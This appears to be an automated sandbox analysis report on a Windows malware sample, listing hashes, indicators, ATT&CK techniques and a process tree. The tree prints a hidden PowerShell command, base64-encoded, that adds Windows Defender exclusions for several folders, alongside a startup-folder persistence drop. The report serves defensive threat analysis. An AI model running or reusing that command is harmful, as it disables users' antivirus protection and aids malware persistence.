3848b629a98db7021e3387ffede2ef3d5d9f40234ee1a406c1cb780cf32e230b

General

Target

3848b629a98db7021e3387ffede2ef3d5d9f40234ee1a406c1cb780cf32e230b.exe
Size

14KB
MD5

87e1d3ef8d9da36ebd82fab01d9bf38c
SHA1

65c12c31aad43d6e9385adae4efd2816bf0b2c70
SHA256

3848b629a98db7021e3387ffede2ef3d5d9f40234ee1a406c1cb780cf32e230b
SHA512

17e9b07b7e8feaaec1b3061e155d4d4732fa61c9d9ea226fa37b5acbc81de2841ff292b64d9f6cd48824812121bbec8fa21d7d2ebf58627f604e0a99cee3e0ca
SSDEEP

384:sF7/fSjoqHiFPz0zN9wJ93r6DTiAJzfknTr:sFtyipzO+rRKknv

Score

7^/10

Malware Config

Signatures

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\retry_download.bat	3848b629a98db7021e3387ffede2ef3d5d9f40234ee1a406c1cb780cf32e230b.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\Prefetch\explorer.exe	3848b629a98db7021e3387ffede2ef3d5d9f40234ee1a406c1cb780cf32e230b.exe
File created	C:\Windows\en-US\explorer.exe	3848b629a98db7021e3387ffede2ef3d5d9f40234ee1a406c1cb780cf32e230b.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3848b629a98db7021e3387ffede2ef3d5d9f40234ee1a406c1cb780cf32e230b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2200	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2784	3848b629a98db7021e3387ffede2ef3d5d9f40234ee1a406c1cb780cf32e230b.exe
Token: SeDebugPrivilege	2200	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2784 wrote to memory of 2200	2784	3848b629a98db7021e3387ffede2ef3d5d9f40234ee1a406c1cb780cf32e230b.exe	30
PID 2784 wrote to memory of 2200	2784	3848b629a98db7021e3387ffede2ef3d5d9f40234ee1a406c1cb780cf32e230b.exe	30
PID 2784 wrote to memory of 2200	2784	3848b629a98db7021e3387ffede2ef3d5d9f40234ee1a406c1cb780cf32e230b.exe	30
PID 2784 wrote to memory of 2200	2784	3848b629a98db7021e3387ffede2ef3d5d9f40234ee1a406c1cb780cf32e230b.exe	30

C:\Users\Admin\AppData\Local\Temp\3848b629a98db7021e3387ffede2ef3d5d9f40234ee1a406c1cb780cf32e230b.exe
"C:\Users\Admin\AppData\Local\Temp\3848b629a98db7021e3387ffede2ef3d5d9f40234ee1a406c1cb780cf32e230b.exe"
1⤵
- Drops startup file
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2784
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -EncodedCommand DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAZQBuAHYAOgBUAEUATQBQADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABQAHIAZQBmAGUAdABjAGgAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAGUAbgAtAFUAUwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAA=
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2200

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2200-5-0x0000000002BE0000-0x0000000002C20000-memory.dmp

Filesize
256KB

Download
memory/2200-6-0x000000006FAC2000-0x000000006FAC4000-memory.dmp

Filesize
8KB

Download
memory/2200-7-0x000000006FAC0000-0x000000007006B000-memory.dmp

Filesize
5.7MB

Download
memory/2200-8-0x000000006FAC0000-0x000000007006B000-memory.dmp

Filesize
5.7MB

Download
memory/2200-9-0x000000006FAC0000-0x000000007006B000-memory.dmp

Filesize
5.7MB

Download
memory/2784-0-0x000000007466E000-0x000000007466F000-memory.dmp

Filesize
4KB

Download
memory/2784-1-0x0000000001090000-0x000000000109A000-memory.dmp

Filesize
40KB

Download
memory/2784-4-0x0000000074660000-0x0000000074D4E000-memory.dmp

Filesize
6.9MB

Download
memory/2784-11-0x000000007466E000-0x000000007466F000-memory.dmp

Filesize
4KB

Download
memory/2784-12-0x0000000074660000-0x0000000074D4E000-memory.dmp

Filesize
6.9MB

Download

Analysis

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